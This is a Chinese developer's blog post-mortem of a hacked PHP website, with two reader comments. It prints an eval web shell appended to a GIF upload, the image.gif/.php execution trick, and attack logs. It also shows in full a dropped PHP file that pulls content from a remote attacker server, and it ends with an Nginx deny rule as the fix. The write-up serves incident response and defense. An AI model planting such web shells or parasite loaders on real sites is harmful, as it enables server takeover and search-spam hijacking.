一次 PHP 网站被黑的经历

更新日期: 2020-01-11 阅读次数: 21499 字数: 1740 分类: 安全

昨天同事发布新功能的时候,发现项目目录下多了两个新的目录。

  • /html
  • /news

里面是随机字符串命名的 php 文件。看了代码的确不是我们写的,第一反应,我们被黑了!

第一时间的处理措施

  • 排查 Nginx 日志,通过访问 html, news 目录定位可疑 IP, 然后通过历史 log 定位可疑文件
  • 将恶意代码目录,可疑 gif 文件,及 Nginx 日志打包下载
  • 删除恶意代码目录, 及 gif 文件
  • 在阿里云防火墙上屏蔽到恶意 IP

确认是否还存在恶意访问

第二天早上8点又登录服务器确认了一下恶意请求是否还存在

123.126.113.91 - - [16/Feb/2017:16:25:38 +0800] "GET /news/qBmH.php?87cz/7egjqz.html HTTP/1.1" 200 5804 "-" "Sogou web spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)"
123.126.113.91 - - [16/Feb/2017:16:25:49 +0800] "GET /news/0YiRN.php?NuY4/9e7J2i.html HTTP/1.1" 200 5802 "-" "Sogou web spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)"
123.126.113.91 - - [16/Feb/2017:16:26:55 +0800] "GET /news/HEAoV.php?vqjZ/D7Zb9M.html HTTP/1.1" 200 5738 "-" "Sogou web spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)"
123.126.113.91 - - [16/Feb/2017:16:27:26 +0800] "GET /news/cjHI.php?JAdZ/WQabbE.html HTTP/1.1" 200 5767 "-" "Sogou web spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)"
123.126.113.91 - - [16/Feb/2017:16:27:46 +0800] "GET /news/fUx3R.php?nf58/Yy9DrC.html HTTP/1.1" 404 56 "-" "Sogou web spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)"
123.126.113.91 - - [16/Feb/2017:16:27:56 +0800] "GET /news/MqNr.php?RcUv/9D9DcA.html HTTP/1.1" 404 56 "-" "Sogou web spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)"
123.126.113.91 - - [16/Feb/2017:16:28:06 +0800] "GET /news/mbRqz.php?LC83/gNUQ7G.html HTTP/1.1" 404 56 "-" "Sogou web spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)"
123.126.113.91 - - [16/Feb/2017:16:28:16 +0800] "GET /news/mcBap.php?jQQB/7Yk0VT.html HTTP/1.1" 404 56 "-" "Sogou web spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)"

可以看到

  • 删除恶意代码文件之后,应答变成了 404
  • 在阿里云防火墙屏蔽该 IP 之后,请求也不见了

开始怀疑是攻击者伪造的 sogou 爬虫 HTTP 请求头, 但是反查 IP 之后,我震惊了

https://www.boip.net/ipv4/123.126.113.92 

这个IP的确是 sogou 的爬虫, 对应的域名是 sogouspider-123-126-113-91.crawl.sogou.com

所以,理论上,并没有完全屏蔽掉来自 sogou 的请求;而且,也不应该屏蔽搜索引擎的请求。

攻击者的 IP 分析

从 Nginx 日志上找到了这两个嫌犯 IP

139.196.51.134

这个 IP 是阿里云上海机房的一个 IP, 并没有对应的域名。

101.226.79.182

是上海的 IP, 也没有对应的域名。

黑客行为分析

黑客于2月15日17:51,上传了一个 gif 文件 663_20170215zpxnjg123.gif 到服务器上, 目录地址为 data/feedbackimg/663_20170215zpxnjg123.gif, 文件大小 11K

通过 Nginx 日志排查, 以及该目录的命名,基本可以锁定是用户留言系统存在漏洞。 Google 了一下,PHP 的确存在此安全问题,即用户可以上传包含可执行 PHP 代码的 gif/jpg 文件。

例如,上传时,使用 a.gif 的命名,上传之后,在浏览器访问 a.gif\c.php 即可执行其中的代码。 注意:必须加上斜杠。

所以,理论上,所有允许用户提交图片的功能,都会存在该安全隐患。

grep 139.196.51.134 access.log | less

从该 IP 的操作历史看,这个黑客的行为非常有针对性。

139.196.51.134 - - [15/Feb/2017:17:49:38 +0800] "GET /animated_favicon.gif/c.php HTTP/1.1" 200 219 "http://www.link114.cn/?" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"

这是其第一个请求,首先判断了我们网站是否能够在 gif 文件后面缀上 .php 进行执行。 我测试了一下,的确可以。。。

然后,他就通过用户留意系统,上传了一张恶意的图片,随后执行了

139.196.51.134 - - [15/Feb/2017:17:51:36 +0800] "GET /data/feedbackimg/663_20170215zpxnjg.gif/.php HTTP/1.1" 200 7432 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"

判断其上传的恶意图片是否可以执行, 确认没问题后, 便进行了惨无人道的杀戮

139.196.51.134 - - [15/Feb/2017:17:51:49 +0800] "POST /data/feedbackimg/663_20170215zpxnjg.gif/.php HTTP/1.1" 200 10611 "-" "Baiduspider+(+http://www.baidu.com/search/spider.htm)"
139.196.51.134 - - [15/Feb/2017:17:51:49 +0800] "POST /data/feedbackimg/663_20170215zpxnjg.gif/.php HTTP/1.1" 200 10485 "-" "Baiduspider+(+http://www.baidu.com/search/spider.htm)"
101.226.33.224 - - [15/Feb/2017:17:51:50 +0800] "GET /data/feedbackimg/663_20170215zpxnjg.gif/.php HTTP/1.1" 200 7432 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_4) AppleWebKit/537.36 (KHTML, like Gecko) \x09\x09\x09Chrome/55.0.2883.95 Safari/537.36"
139.196.51.134 - - [15/Feb/2017:17:51:50 +0800] "POST /data/feedbackimg/663_20170215zpxnjg.gif/.php HTTP/1.1" 200 10694 "-" "Baiduspider+(+http://www.baidu.com/search/spider.htm)"
101.226.51.227 - - [15/Feb/2017:17:51:51 +0800] "GET /data/feedbackimg/663_20170215zpxnjg.gif/.php HTTP/1.1" 200 7432 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
139.196.51.134 - - [15/Feb/2017:17:51:52 +0800] "POST /data/feedbackimg/663_20170215zpxnjg.gif/.php HTTP/1.1" 200 14023 "-" "Baiduspider+(+http://www.baidu.com/search/spider.htm)"

这货比较逗的是,又换了个 HTTP 头。

于是,我们服务器的网站目录下,多了两个文件夹 html 和 news, 里面充满了各种随机文件名的 php 文件

0YiRN.php  AR2H.php   cjHI.php   fUx3R.php  HEAoV.php  iToc.php   mcBap.php  NQbD.php  ORhS2.php  wCEzX.php
9bZTC.php  ASnFg.php  DjhzS.php  he49.php   HFZhu.php  mbRqz.php  MqNr.php   OFgD.php  qBmH.php   Wv62.php
<?php
set_time_limit(0);
header("Content-Type: text/html;charset=gb2312");
$Remote_server = "http://123.207.27.85/qg2/"; 
$host_name = "http://".$_SERVER['SERVER_NAME'].$_SERVER['PHP_SELF'];
$Content_mb=getHTTPPage($Remote_server."/index.php?host=".$host_name);

function getHTTPPage($url) {
	$opts = array(
	  'http'=>array(
		'method'=>"GET",
		'header'=>"User-Agent: aQ0O010O"
	  )
	);
	$context = stream_context_create($opts);
	$html = @file_get_contents($url, false, $context);
	if (empty($html)) {
		exit("<p align='center'><font color='red'><b>Connection Error!</b></font></p>");
	}	
	return $html;
} 

echo $Content_mb;

代码都类似,主要是指向两个 IP

  • 123.207.27.85
  • 123.184.16.58

IP 显示是广东省广州市腾讯集团的, 估计是用的腾讯云的服务器。

黑客非常有经验,主要使用腾讯云和阿里云的服务器进行攻击,可以有效的规避被大厂商加入IP黑名单。 因为理论上,阿里云会把自己的IP加入到IP白名单。 但,这也归咎于阿里云和腾讯云对服务器安全监管不够,没有有效处理此类行为。 以阿里的技术能力,完全可以监测到此类异常 url 访问,例如,访问图片缀上 .php 的行为。估计是不作为。

继续来看黑客的行为

生成这一堆文件之后,紧接着,黑客在 html 目录下新建了一个 qi.php 的文件,并进行了 post 操作。 然后,最令我后怕的是,黑客居然又把 qi.php 这个文件删掉了, 他完全有能力删掉所有的项目数据。 我怀疑这个文件是向 sogou 发送请求,请求爬虫来访问新建的这些文件。

虽然,测试了一下,这些路径只是访问了 www.beijing.gov.cn 对应的一个网页,对用户及服务器没有什么影响, 也许他只是想把这台服务器作为一个肉鸡。

但是,可以想象,利用这个漏洞,他可以做任何的操作。

gif 文件里包含了什么?

使用 VIM 打开这个 gif 文件,被最后一段惊呆了

xxxxxxxx;<?php @eval($_POST['pass']);?>

如果后台没有权限控制,他就可以完全控制这台服务器了。

而这张 gif 图片,居然能正常的预览,就是一个普通的表情

PHP 黑客代码于 gif 文件中

PHP 果然是最好的语言!

将最后一行代码修改为

xxxxxxxx;<?php echo 'hello';?>

再次上传文件,并在图片文件路径最后缀上 \a.php,奇迹出现了

gif 黑客代码

如何修复该漏洞

Nginx 中增加

location ~* /data/feedbackimg/(.+)\.php$ {
	deny all;
}

总结

参考

关于作者 🌱

我是来自山东烟台的一名开发者,有敢兴趣的话题,或者软件开发需求,欢迎加微信 zhongwei 聊聊, 查看更多联系方式

谈笑风生

时间爱人

我就是看了个代码, 不太了解(User-Agent: aQ0O010O)这个,搜了一下找到的你。这是寄生虫吧,在网站上挂马,然后传一个寄生虫的的被控文件,寄生虫也是互相轮链的,访问或者蜘蛛都能重新生成,从而提高内页权重,搜索结果里面什么【加v*****】这些的,都是寄生虫,比快照劫持什么的高明太多了。随机生成混淆的数字加字母成为目录。用的cmd copy命令,给图片写一个一句话木马语法非常简单没什么难度,不过nginx的那段配置不错。

heihei

能分享这个gif不,被上传这个坑过